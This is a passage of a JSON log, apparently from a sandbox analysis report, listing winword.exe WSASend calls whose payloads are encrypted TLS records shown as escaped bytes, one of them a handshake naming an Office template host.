  610. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010c|cj\\xd1\\xda\\xbaufe\\xc5*\\xcfcd\\xabesw(\\xbeg:\\xde\\xde\\xf5\\xcfk\\xab\\xe2\\x92x\\xb9ay\\x14\\x97u\\xb8d\\x13\\xc8\\xc8@\\xe6\\x0f\\x96\\xa22kxh{\\xd0n.\\x97\\x18\\x1e\"\\xfdj\\x8f\\xa2\\xc9{\\x9em\\xf1\\xb0\\xad\\xcb\\xd6\\xa1\\xc9\\x91wr\\x01\\xdf\\xd1\\xc2\\x9f\\x9f\\x8f+\\xa3\\xaf\\xd0\\x1dj\\xe3\rm\\xb9b\\xb2\\xce{\\x9a\\xb2\\x8a\\xc2]\tae\\xcdp\\xb5\\x11\\xde\\xd6r\\xbe\\xf5\\xc8\\xac\\x190\\xaa\\xf8z\\xfc{\\x82\\x8dl\\xeb\\xcb\\x9b\\xd5y\\x9d)\\x93o\\x91\\x89'\\xc5\\x07\\xfa\\x96\\x90i\\x05\\xcd5p\\x98/\\x12\\x88r=\\x9c>\\xa3&\\xc2\\xba\\xb9&\\xda\\x1d\\x13\\xc2\\ml\\xc5\\x1c\\x9c{\\xe4h\\x0f\\xaa\\xba\\x9a2\\xa1\\xb4\t\\xd6\\xff\\xb8\\x88]\\x92\\xb2v\\xb8\\x8e&\\x97\\x05p\\\\xe5\\xaf\\xe8\\xe8\\xd7s\\x8cv^\\xe1\\x8e\\x95>\\dv\\xec\\xb3\\xcf\\x9cf\\xa5\\xd9\\xd5\r\\x159a\\xba:\\x1d\\x92'\\xefcp{\\\\xa4(\\x81\\x85\\xe5\\xe0\\xefk\\xfb\\xa8\\x1bt "
  611. },
  612. {
  613. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010]\\xf7\\xa6\\xe9\\x0b\\xc6\\xdc\\xe0\\x97x\\xfee\\x01kr\\x8d\"\\x15\\xf9*@\\x16bo\\xef\\xf7l\\x0f\\xe5\\xa7]g\\x1dm\\xda;4\\xc2f\\x97\\x9fb\\x87\\xcae\\xc1<#\\xa9\\x8f\\xb5\\xe5\\xd6\\xa5[\\xc6i#(\"\\xe7\\x14\\k\\xa7\\xce\\x9c\\xf8\\x7f\\xd9\\xb3\\xb4^\\xf0r\\x82\\xda\\xdf\\xf6h?\\xc7rh\\xf0\n\\xea\\xaf\\xd8\\xcd\\x14j\\x04p\\x87\\xf4\\xb9#\\x17\\xf4\\x8ee\\xcd\\x9cm^\\x05\\xb9\\x18o,g4\\x11\\x02\\xc1\\xban\\xbb\\xd4\\x8d\\xb1\\x88\\xc9\\xedgg\\x90\\xd4l\\xf8e\\xc8\\xd8\\x85z\\x85\\xff\\xf1\\xac\\x14\\x12v\\x9a\\xe7\\xdc\\xb1a4w\\xdd+\\xf5\\x03\\xf2\\x08@5\\xbb\\x8a\\x1b\\xcc4d\\x03\\xec\\xb7\\x87\\xd3q\\x01\\x038\\xb85\\xf4\\xc3mgr\\x93p(jxi\\xab\\x90\\xd4\\xf3\\x8d\\xb8d\\xb4\\\\xfdf\\x93\\xe3\"i\\xea\\xc5\\x95[\\x8c\\x0bv\\xdby\\xa5\\xf4\rt\\x9c\\xe0'\\xfe\\xc6\\xa5\\xbak\\xcd\\x06\\xee\\xe6\\xf6\\xf9s\\xb4\\x9ecev|d\\xef\\xea\\xab\\xe9\\xfd\\x9d\\xa8_u\n\\xb0l\\xec/o"
  614. },
  615. {
  616. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9c\\x14\\x94^\\x98\\xc4\\x91ruj-\\xd5\\xd9\\x8d\\xe8\\xd4'\\x81lh\\x9fe\\x07\\x89y\\xe6\\xa6\\xa6\\xc2\\xa8\\xbf\\xf0o\\x0f:n\\xfe4\\xec\\xc6z\\x90\\x99\\xe7\\x17\\xf8\\x9dp>\\xb9\\x82\\x0e\\xf4u\\xa5\\x1e7i\\xa5\\x9a\\x7f:]9t\\x07o\\xc9\\x19\\x06\\xdcg\\xb0\\xab\\xa4\\xf5\\x0ei\\x03\\xea/x\\x06\\xb6\\xf3\\x02\\x16^\\xea\\xdf$\\xc3$4@f:\\xc6$\\xc1\\x0f\\x12\\x16z\\xe4y\\xf4^i\\x12\\x01\\xd1\\x96b\\x83x\\xe4\\xa4y\\xa1\\xfba\\xd3q\\xf5\\xe4y\\x87skv\\xe6\\x8d\\xfck?5\\xcd#\\x06\\xa2\\xc8\\x92i\\x03\\xe1\\xfe\\xedd\tf\\x8f\\xd8\\x9d\\x8d\\xd6\\x81\\x06;\\xfa\\x99gm\\xed\\xd2\\xd5\\x0eyr.o\\x1a\\x8c\\x11s\\x1e3\\xa7\\xba\\xdf\\xefh\\x871\\xff\\x03\\xe3\\x87\\x13\\x10\\xd8x\\xb2v\\xa0\\x93\\xce#:f\\xfe\\x8f\\xe5p\\xafw\\xd2\\x0b\\x9a\\x1c\\x02\\x85*\\xb4#\\xechl\\x1f0\\xd8\\xfcdctg\\xc9\\xe7\\xdc\\x14~\\xe1\\xd5\\x1d\\xc9\\x02\r\\x90\\x05\\x17\\xbb\\x91\\x96nv\\xc1\\xe2\\x8c\\xa0s5"
  617. },
  618. {
  619. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010gf\\xf6\\xf9+\\x13\\x1568\\xfa\\xaek\\x19\\x04\\x19\\xff3\\xae\\xaf\\xbe\\xdf\\xb1\\x93n\\x07\\x83411\\xff\\xb13e%\\x16\r\\xd4|\\xfc\\x8cdp\\x99\\x9e\r{'xz\\xdf\\x14.w\\x00\\xe3\\xbc\\x18\\x07\\x1172;g\\xa4\\xc3\\x94\\xeb`\\xf7\\xf5n\\x15v\\xa2\\xcb\\x95*\\xa5c\\xc4\\x01r\\xac\\xcd\\xb7w\\x9f\\xde\\x9d\\x0b\\xc8\\xe4\"h\\xb0\\xd0\\xca\\xed\\xe2\\xe0\\xe2\\xc0\\x15)\\xbb\\x89_/\\x1b!\\xb3\\xc74,i\\x10\\xec\\xa6\\xbf\\xfd\\xb5\\xcb\\xf2tc\\xd4\\xed\\x90\\x80a\\xa8\\xffw\\xfd\n\\xc4u\\x96[\\xb6|\\x83\\xa6|\\xad\\xb8?b\\xcb]\\x8f\\xc1!+\\xe0f\\xfe\\xe1\\x1a\\xa9}\\x87\\x02\\x17\\x8egfl\\x7f\\x96]\\xceim]\\xd8\\xdd\\xd9x\\xb6\\x1at\\x9c\\xd2\\xb1\\x1b`~\\xa6'\\x08\\x17<\\x9fz4\\xb3\\xe3\\xe6\\xa8\\xad]?}\\xd0\\x80\\xcb\\xc7\\xb4+\\x84\\xc2\\x18\\xa15w\\x1d\\x98\\x8c\\xad\\x9b\\x1b\\xaa\\x88e\\xa2h\\x1d\\xd2\\xaa\\xcd\\xb9#\\xe3$*z\\xfd\\x8e\\xc0\\xe9o7\\x9a\\x07\\xc7\\x7f\\xe2\\xea.&"
  620. },
  621. {
  622. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010]\\x1d\\x91\\xee]s\\xca\\x92\\x80\\xb6\\xb2\\x1a\\xe4w\\xa7k\"\\xaa\\xc1~\\xbd\\xf7)\\xe9\\xeb\\x81<\\xd2\\x18%\\xc5\\xd2b\\xea\\xd5\\xc5b\\xa7\\xa3z\\x08\\xf9\\xd4l\\x15\\xfbp8\\x94)i\\x84\\xdf\\xef\\xa7g\\xb3\\xc07x)z\\x8dm\\xe3{\\xf1lf(n<\\x01\\xe3-1\\xc1\\xba\\xfd\\x16\\x0e\\xe5\\xf1\\x1f\\xee\\x8f\\x81\\xd6\\x94\\x9e\\x08t\\xc8\\x8c\\xc4odfwk\\x8d\\xf1mi\\xd4\\x83#\\xe2\\x1e\\x13\\x83\\x1d\\x9d\\xc6u\\x13\\xb8\\x84\\xb84\\xda\\xede\\xb4\\xeb\\x18\\x18\\x02c_\\x9at\\xcedo5\\xf9\\x05\\xc4\\xa8\\x02f\\xdd\\x04'\\x04\\xf9\\xd3x\\xb17>\\x1d\\xa9\\x10z\\xfe\\xc31\\xb0\\xd4\\xdc\\xce]}\\xc27\\xf8\\x1b\\xd7\\xd9\\x01\\x85z\\x02\\\\x9f'\\xe1\\x97\\xf2\\x1ap'\\x07\\xf1*\\xec\\xd60\\xd6\\xbb*\\x8f\\xef\\x1e\\x00t\\\\xeb\\x89\\x0eq\\x87sf}g\\x15(~qp\\x96,\\xcd\\xcb\\x9f`\\x8d\\xa7\\x19+\\xb2\\xe2\\xbc\\xcf\\xbf+\\x88\\x1d\\xb3\\xc5\\xbf\\xc9\\x87q\\xb5\\x9f\\xacr\\xbbo\\x84c-0\\xf6\\xb8q\\xca"
  623. },
  624. {
  625. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb4\\x1bg\\xf6\\xb8\\xe4\\xf1\\xea\\xed\\x10\\xea\\x057\\xe0f24\\xc5\\x90\\xdaed+\\x8a\\xf9\\xebv\\xcb\\xabqe\\x02\\xa2a\\xa5qt\\x9f\\x89\\xc742'\\x8f!/p\\x04\\xd5\\xac\\x15\\xbb\\xff\n\\xacmp\\x90x\\xee\\x97~\\xf6\\xb8%r\\xc2\\xe1oo^q\\x15\\xe0\\x9c=l\\x83{\\x00\\xaa7\\x15\\xbb\\x97\\xb7\t#\\xa3\\x9c\\xa0\\xaa\t\\x9e\\xdd\\x88\"\\xd3\\x003d{\\x92\\xf0\\x1a&\\xe7\\xa7\\xa4/\\xe1\\x00\\x87\\x99\\x87\\xec\\x1b\\xe0}\\xd8\\xa3u\\x04=\\x1a\\xc2\\x16\\xc6pv\\xa7\\xdcn\\xaez\\xd5n\\xadp\\xeb\\xb3\\xdf\\x9c\\xa4\\xbb\\xa3\\x1f\\xc6f\\x86\\xc7x\\x91\\xd1av\\x90\\x05 \\xfea8c\\xf9\\x87\\x17\\xab\\xa7\\x83\\xfa\\x99\\xa1\\xe3\\x18\\x02\\xce\\xa4\\x12\\xc5&\\xc2\\x9ahy\\x1c\\xe0`\\xe3\\xce\\x91\\x18f\\xa7\\xddi0\\x9e+\\xf7cw}hd\\x9d\\xf0bb\\xd2w\\x98\\x01\\xc3l5\\x93\\xcd\t>\\xd1\\xa2u2\\xdd\\xaf)gh\\x86\\x86\\x049\\xf7\\x14\\xe4\\xa1\\x80\\xfa\\xa4\\xbdj\\xae\\xedl+\\xd6\\xfc\\xb3\\x82[{"
  626. },
  627. {
  628. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa0\\x82\\x17\\x97^\\x01\\xf1\\x86\\xf5\\xc5\\x02<\\x84\\xea~{\\xaa9\\x90\\xf6?\\x07\\xfc\\xa0w2n\\x12be9\\xa6\\xe6\\xff\\xb0\\xff\\\\xad&t\\x93\\xdc@mqr\\xd8\\xf9\\xe5\\xadm~mtv,\\xa1\\x8e\\xeau\\xcbbc!\\xad\\x8adk\\x10\\xf4\\xdb\\xae\\xa6q8^z\\xed.>#.\\xc1\\x9f\\x03b2#r\\xb2\\x8b\\xf58\\xbb\\xebt\\xdd\\x8b\\xd26w\\x8c\\xca,\\xb3\\xe3\\x18\\xfd\\xe2\\xb9\\x8c\\xec\\xc5<\\xcb|\\x01\\x13q\\xae`\\xab\\\\xd1t\\xdae\\xa6\\x91\\xe7\\xd7\\x96\\x06\\xdct~\\xbe<\\x8d \\xb9g\\xca\\xf69\\xa2\\xd7\\xdae\\x8f<o\\x06\\x8c\\xb3\\x14\\xe1\\x88\\xa5g\\xad\\xf2w\\x86\\x96\\x9a\\x0f\\x1a\\xbe\\x0b\\xfd\\xfb\\xc3ph\\xe3z\t\\xdb.\\xc9\\xb7vd8np\\xd2\\x91m\\x9e\\xf3\\xf4\\x82\\xab\\xcb|di\\xb2\\x95\\x8b\\x17\\x04\\xc4\\x9apf\\xd1\\xe8$\\xea=\\x14\\xe1\\xb1\\xe2*\\x9c\\x05\\x9f4\\x1f\\x1a\\x1d\\x92\\xa3\\x14\\xea\\x87\\x99k\\x86\\x9d3\\xcf\\xb6\\x14t\\x13q\\xa0d\\xcc\\x17\\xf6%\\\nth"
  629. },
  630. {
  631. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x95-\\xa6\t`v\\x88\\x8c\\x08!7fj\\xb9\\xf2[\\xe6\\xc5\\x18\\xfa1\\xbb\\xc7sqf\\xce\\x0f\\xf1y$q\\x0c\\xe2tv\\x7f`\\xf7#\\\\xe1e\\x13n\\x87:\\xbf5\\xf1\\x1e\\x16\\xd6\\xf2\n\\xfc\\x82\\xc0\\xee\\x8d\\xf8\\xb1u\\x9f=\\x81\\x94p:;\\x8c\\xd8.f6]\\x85\\xa93\\xda\\xd1\\xe0\\x89\\xf5\\x95%_\\x04\\x0e=\\xc2|\\x90\\xaa\\xc4\\x94\\x14\\xfc\\xbd\\xd0\\xaf\\xbf\\xf7\\xe2(v\\x9d\\x93\\x0f.es\\xday\\xd0u*h\\xff\\xcf\\x97l#\\xf7\\xdc)\\xfcc=wy^\\xeb\\xadr\\xc3j\\xa8\\xfe\\x9a\\x9f\\xa1\\x80a\\xe1\\x9b\\x1e}!\\x0e\\xa0l\r\\xe9\\x8e\\x0c\\x07\\xc1\\xb4\\xac\\x15wh}\\xcd\\xbc\\x1fm\\xcf\\xf8\\x93\\xd9\\xddxs\\xdfi\\x18\\xfa4\\xc1\\x1fg\\x9a\\xa6\\xecr\\xd5\\xcc\\xa7od\\xae\\xdd\\x8d\\xb1x\\x06\\xe0\\x1b*[fd\\xf0tb\\xa1\\xae\\xd1\\xc6\\xf5'{f\\xd3\\xfb8\\xd1u\\xcc\\xea\\xc4\\xb6x\\xbf\\x80e\\xd9.=\\xca0,\\x9eh\\xee\\xcfq\\xeav\\xab@\\xafw\\xf4';\\xb1\\xc3?"
  632. },
  633. {
  634. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04z/\\x80\\x9dq\\xc7i\\xf0\\x13b8\\xba\\x0e1\\xe1\\xc4\\x10\\xaad\\xc6\\xab#_np\\x8dm\\x9f_\\xe1\\xb9\\xe0\\xe5\\x97\\x9dz\\xa8\\x80n\\x1a\\x96\\xce`v6\\xe9dt\\x85#\\xc0\\x81\\x0e\\x03\\xf6?\\xe8\\x10\\xac\\xa7\\x8f'kw\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe0l\\xbf\\xear\\x1f\\x90\\xd3\\x9e\\x07j\\x7f\\xe05i\\x19\\xc9\\xad\\xadys\\xba\\xe6\\xa2\\x97x\\xbfh,\\xa1ps\\xdb\\xcd5\\xfe<\t\\x05\\xde\\x10_\\xac\\xeb\\x0ecpf"
  635. },
  636. {
  637. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbea\\xf3\\x0e\\xa1\\x16\\xcb\\xab\\xb7\\xf8\\xfd\\x9c\\xf6i\\xb8l\\xe0/1\\xae\\xc3\\xe0u\\xac\\xbf\\x86\\xcc\\xa7\\xd8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  638. },
  639. {
  640. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x88\\xf9p}\\xcd\\x18x\\xe7d\\\\x9b\\xf3\\x13\\xf6\\xdb3@^\\xaf\t\\xa0\\x8c\\xc4r\\xd2u\\xf9r\\x8c\\xeb\\x93\\x0c\\x9bi\\xcc\\x05\\xabn\\xc2\\xad\"t\\x96\\x1d\\x07\\xe0\\xea%\\xd0\\xb3%\\xfc\\xad\\x90n\\xf1\\xf1\\x190\\x07r=\\x84\\xcc\\xf2%\\xc2\\x0e\\xe5\\|85o\\xbc(\\xad\\x01\\x04/\\xe3y0\\x17\\x0b\\xf5\\xa6\\xda\\xe3\\x8d\\xab,\\xc7\\xb6\\xf0\\xfa\\x1a\\xe2a\\xd8\\x9f\\xa0\\x13\\xf2\\xd3\\xd9\\xc6'\\x97qu\\xab\\xc7\\x1f/\\xe2s\\xb7\\x82\\xe6\\x93\\x10\\x0f\\x1b\\xb6\\x98\\xaf37\\xea7y\\x94\\x86\\x03\\x90?\\x19\\x1f3`\\xac\\xbdr\\x8f\\xc5\\xa4%&\\xb9ho3tam\\xcely\\xce\\xb1\\x85v\\xef\\xe2n\\xb60wo\\xbel%\\x10q\\xba\\xa1\\x91\\xc3\\x85~\\x82\\xdf\\xe6b]d\\x9d\\x0f\\x10b\\xce\\xa9\\xaf3\\xe4>\\x04\\xc0j\n\\x8f\\x82\\x80\\xb3\\xc3'\\x82f\\x8f\\xed\\xdc\\xbb\\xb5\\xa6=\\x8a\"8q\\xd0\\x14n\\xa4\\x1d!\\xcc8\\xc7qh]\\x1a\\xba.jh\"*\\x96\\x07fj=\\x19a\\xaf\\x88\\xbe\\xf1\\x0e"
  641. },
  642. {
  643. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf0\\xe8p\\xb157\\x87<\\xd2v>d\\x8c\\xd8\\x89z\\x84clt\\x8d\\x13u\n\\x94f%\\x87\\xdd\\x194o\\xb6\\xe8yyt@\\xf6\\xdb\\xe0\\xcai\\x9b\\xeb\\xde\\xe9\\xda\\xcc{\\xa7&\\x10b\\xbd-\\x1a\\x99\\x81\\x07\\xc1\\x0f\\xa5bi\\x89\\xb0\\xe7\\xfft\\xaf\\x9f\\xf6\\x1f\\x1ak\\xf6\\xb0\\xfd\\xe0a\n\\x1b\\x9bg\\xa6y\\x11\\xca9m\\x03\\xc8\\x90\\xabw\\xe3\\xed\\xf0\\xd5\\xd4\\xb3\\x89\\xbe\rp\\x0e\\xc3v\tv\\xb5o\\xbe\\xce\\xd4i\\x90\\xc4d\\x9fd\\x811>\\xe0\\xeb\r\\xa9\\x93\\xf1\\xbd\n\\x8fk\\xc09\\xb7\\x1a\\x8c\\x93^\\x80!@\\xc3:\\xbb!\\xcfc\\x03\\xe3\\x03h[\\x1c\\xfc$\\xe5\\xaait\\x9d\\x88_r\\x01\\xabn\\x15\\xfb\r9\\xa4\\xe2\\x04v\\x17\\x81h4\\xbe9\\x1e\\x1f\\xe7\\xe7\\x18\\x9b^[\\x1ad\\xad$:o\\x8a\\xf8m\\xc9\\xfd\\x1d\\x99b\\xae)c\n\\xbe7\\xb9\\x01\\xce\\x16\\xebl\\x12\\xc7=\\x07q\\x1b\\xae\\xa7\\xcf\\xbd\\x0f\\xca\\xa1\\xd6\\xbfe\\xde\\x08~\\x89\\xf5?i\\x19w\\x80\\xc1\\x10p(\\xb3o\\x03"
  644. },
  645. {
  646. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010}\\x13kp\\x10\\x1c\\x94\\x91\\xca%\\xc3\\xb6=\\xd6_\\xd7\\xa9%dfl\\x13'\\xb2\\xb9\\xfe\\x12%\\x04v\\xe7,n\\xaa*\\x88\\x8b\"\\x19\\xf7\\x07q\\x9e0\\xbe\\x82\\xc6wsd\tg\\x7f\\x97\\xbf\\x82p\\xd8\\x89oh\\xaf\\x8d\\xbfn\\xde\\x80\\xe4xc\\xc7\\xfb\\xac\\x12\\x01\\xa4\\xfc\\x00\\x10\\xd3\\xff,]w4\\xbe\r\\xdda\\xd8~oa(\\xf0t6g\\x01)\\xeb\\x85+\\xb6m\\x86\\xdev'\\xae\\x82\\x82n\\xe4\\xc3\\xd7\\xff\\x17x\\x90\\x80\\x1f\\xd6ffo\\x98\\x8f\\xd3,\\x17\\xd4y\\x08\\x95hne:)i\\xc8wh\\x16e\\xfa\\x82s\\x8f\\xaez\\x8ba\\xef\\xc0\\xd6r\\x7f\\xa1g\\x028\\xb7\\xf4>eg\\x9cx\\x82q\\xd6\\x8b\\x8dk\\xbd3\\|f\\x00\\xae\\xd0\\xe5\n\\x8d{\\x99^\\xf5o\\x14\\xcck\\xa9\\xf4\\xfb\\x9f\\xaca\\x9d\\xa5\\x19\\x93\\xe542{\\xfd\\x1be\\x01\\x0b\\xc9$\\xbbb\r\\x8d\\xebu\\x96=\\xfb\\xa5\\xe9\"\\xda7\\xa9\\xf2\\x9b\\xc0x\\xed]\\xff|\\xc8i\\x08\\x1a\\xe3\\x81:\\xba\\x87r\\xfb\\xe6"
  647. },
  648. {
  649. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc0\\x9e{\\xa9=\\x01\\xe4\\xa3i\\x11\\xc9\\xb1mb\\xf7wb\\xb6\\xd0?*gw_\\x87_\\x1fh\\x15nq[j\\xe7q\\xd2\\x84r/\\xf2/\\x90\\xd6\\xe6`-\\xa0!u@\\xa7\\xe1f\\x9b\\xdc\\xa3\\xb4\\x13(f\\xf6\\xd6\\x93\\x1f%t\\x81\\x0f1\\xc1\\x98\\x9b\\xc2t\\xea\\xcd\\xad\\x8ap\\xb0\\xc3\\xd8,\\xd6<\\x05\\x01\\xdc\\x9b\\xce\\x95{\\xd3\\x93\\xaf\\x18\\x00`u\\xce\\x0b,\\xa2\\x04\\xaf\\x16\\x83\\xaa'.\\xf1\\xda\\xa26j\\x99q\\xaf\\x9d*f\\xc7#\\xd2\\xfa\\x9eo\\xc6k1w\\xe4\\xb9pg\\xdd7\\xd7=<\\xf2g\\xe0\\x97\\xd1\\x82d!\\x024t\\x010\\xb4\\x15\\x8c\\xafe\\xcc\\xbf\\xf3\\x90i\\x071\\x07\\x01\\xc5\\xc9c\\x88d'\\xd8-\\x90\\xbb\\xf2}\\xca\\xbai\\x9b\\xa5\\xa5\\xb6\\xf8\\x8f\\xd7v\\xf4\\x90j\\xfdp\\x91\\x91\\xd4\\xae\\xe3e\\xbf\\xe5]\\x8a\\xa9\\xf5\\xc5h7\\xfdu\\x15p\\xa4\\xab\\xd9\\xf6\\x9c\\xfe\\xb0\\x7ff\\xf1\\x13\\x1c\\x13\\x93r\\xc2u\\xa29\\x81+\\xad:\\xa6(\\x9b\\xb2\\xa9\\x8b6\\x98\\xb6\\xb0\\x83\\xa1}\\xec"
  650. },
  651. {
  652. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x13\\xd1\\xd3\\xe67\t\\xdc\\x9df\\x87n%o\\x0b#\\x10\\xd1a\\x9d\\\\xb7\\xb0\\xde\\x00zu7\\xde\\xe2\\xc0z\\x89\\\\xf1@\\x0e\\xee\\xe7)\\x87\\xbb\\xabwm\\xf9qk\\xf6\\x1ap\\xa2\\x06k\\x926)v\\xfc\\x9f\\x06\\x0e\\x80\\xdc>-3i\\xab\\xfa\\x89\\x0ep\\xa9)\\xd8\t;\\x93w\\xf2\\xc0\\xb1\\x89\\xaae\\,\\xe0\\x7fji\\xc0\\xa4~vm\\xe8\\xf5o\\x05\\x83\\x1e\\xf0_6j\\x1dy\\xc8\\xac\\xdbim\\xa7#\\x8c\\xd0\\xa8\\x1ew\\xd0*\\xda\\xad\\x933\\xd4\\xf0\\x90?\\xcdqae\\xb34\\xa6\\x8c\\xab\\xeb\\xc0\\xe7.\\xe8\\xa6\\xf5\\x1e\\x7f~\\xe9\\xf7\\x03mh9r\\xb8x\\xf9\\xb9\\x17\\x9e\\xd1\\xbc\\xeej\\xe8e\\x83f\\xc9\\x8ds\\xdci\\xed\\xb3y\\xa6\\xb4\\xd1\\xb8\\xf24\\xe6_lt\\xf8\\x19{)\\xbb\\x06\\x88\\x86j\\x9a]p\\x08\\xe7\\xa6'\\xe7\\x13\\xd82\\x1e4t\\xd2\\xe1\\xb2\\x9c\\x89y\\x80\\xab9\\xfa\\x0e\\xdbw\\xadd\\x03\\xd6\\xfd\\x999\\xba`\\x1d\\x7f\\xbbn\\xd7b\\x16y<\\x82_,n\\x80\\x0e\\xa5\\xb2w"
  653. },
  654. {
  655. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045\\xad\\xf6\\x82\\x03\\xb1^}\\xd3\\x8bs\\x02\\x8e\\xd6y\\x90%\\xd0\n\\x95\\xbb\\x06\\x12\\xe7\\x13v\\xe0\\xf9n\\x08\\x83qf\\xfc\\xc0u\\x13l\\xae\\xaau-(\\xde\\xe0\\x10\\xe7)}`}4o\\xac\\xe9\\xa8`\\xf5p\\x92\\xe3_?\\xb7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000m6\\x19\\xabqi\\xbcjyzg\\)i\\xf9\\x0ev}\\xb0ut\\xa9\\xff`\\xf6h\\xef\\xac +.\\xa8ld\\xbf\\xd7|\\xc6\\xf9\\x8cc]\\x90k\\xceu-\\xac"
  656. },
  657. {
  658. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04/r\\x12\\xd6o/m\\x9ah=\\xae\\xe0\\x03\\x88\\x87#k\\xea\\xc9{\\xdd\\xc0\\xa0mv\\xe3\\xfb\\xc2i-\\\\xd2\\x9a%|p\\x0cf#\\xfemz&\\x98\\xe9r2n\\x83\\x11xo\\x16\\xed\\xd9\\xb3.q\\x95\\x954[\\x95]\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c{\\x90j\\xfa\\xe1i@\\xf1<\\x8a\\x99\\xe4s\\xf1\\xc6\\xa0\\xa5{\\xcb\\xd00|\\x95\\xb6+|\\xab2\\xd6\\xa8\\xd4\\xf8\\xc9\\x17\\xd4w\\xc7\\x851'\\x95\\xdb\\xae\\x1f\tf\\xf9"
  659. },
  660. {
  661. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04=p\\x89\\x06#hj`\\x07\\x84\\xdfz\\xd1\\x88f\\xd6\\xc9\\xef\\xa3nbp\\xc4\\x05\\x15\\xd1im\\xab*\\xb6f\\xaf/\\x13\\x01\\xd1r\\x00\\x88\\xce\\xa1\\x19\\xe5\\xbful\\x88\\xd8#.\\xc8?j\\xcf\\xb3\\xb6\r\\xd2#\\xee\\xf5\\xd1{\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000y\\xf0{}\\x92\\xb8|\\xd5,'/\\xa1\\x86\\xc7tk\\xa0m\\x1d\\x8a\\xb3\\xc5\\xa3=p\\x05b\\xbc\\xa9\\x85\\xe5\\xb9\\xe619\\xb4\\x12\\xfau\\xa5\\xd4\\x9c\\xb1r\\xab\\xc1\\xa7o"
  662. },
  663. {
  664. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1b\\x105\\xbc{\\x93\\xe0b\\xcb\\x92\\xadk\\x8c\\xc9\\x1f\\x95\\xee\\xaa\\xdbu\\x9f\\x99k\\xf9\\x8a&\\xdf\\x97_\\xe9w\\x1b\\x95<\\xd3\\xe4\\x1e\\x9f\\xbd\\xef\\xade\\x1ap\\xdf\\x1b\\x7f7\\xb3\\x00\\xf7\\x9e\\x17\\x12\\xaf\\x100\\xf2\\x1e\\x17vp\\xf7g\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000e\\xbfm&rd\\xab\\x9a\\xf13\\xac\\x97\\xa4\\xd3\\x8a)\\xac\\xf8f\\xe2-\\xd0\\xf4pw<\\x83\\x17\\xfd\\x95ij-\\xb1az~\\xd4\\xd6\\x19\\xb2\\x13=\\xf2\\xbf\\xde&\\xcf"
  665. },
  666. {
  667. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa8\\x90x\\xf1\\xbb~\\xa3\\xb4\\x11-\\xa4\\x99\\x0c\\xac\\x1b\\xc3\\xbc)\\xbbt\\xa3k\\xa9#\\xcax\\xe0?\\x90\\xedv\\xfe\\xc9\\xd3e=\\xfa\\x9d\\x8ed{\\x1f\\xd0\\xad\\xa2\\xfd\\x13ik(\\xb3h\\x0f\\xfdi\\xce\\xd6\\x17\\xb0|\\x8d\\x01\\xf8;\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x05\\x1fy\\x98b\\xbb`yv\\x97\\xa9\\xffea\\x1a)\\x99|\\xc3\\xecw\\x93\\xe8#\\xcc\\xb5\\xda\\xc7\\xb4\\xf5\\xa8\\xcdcj \\x8f\\xf6\\xd5\\xb3\\xb2\\xa0\\xf0=\\xc2\\xec\\xc0\\x831"
  668. },
  669. {
  670. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfe\\x10\\x11\\xdf\\xef2\\xdbr\\x14\\x85\\x02\\x0by\\xe7c\\x15\\x9d\\xa8\\xba]\\xf7\\xe0w\\x81\\x14\\xb3\\xa5\\xa0\\xd4ey\\x13&\\x8c|dt\\xb4@\\xb2\\x99\\xe9\\xdc\\xc3\\x88\\xb4\\x1bm\\xfb\\xf8\\x08\\xc8)\\x7f\n\\x19\\x81\\xb8\\xd0\\x84 mt\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\\\x92)\\xc2\\xf6\\xeb\\x02=\\x8a\\xb3\\xd4,\\xd0\\xd6\\xe1\\xa3ee\\x06a\\x13\\xb8\\xcb\\x93\\x84\\xec\\x81\\x9e\\xfd\\xc5\\x9f0\\xe8\\x05\\x1evg%@h\\x0el_)n\\xc0jw"
  671. },
  672. {
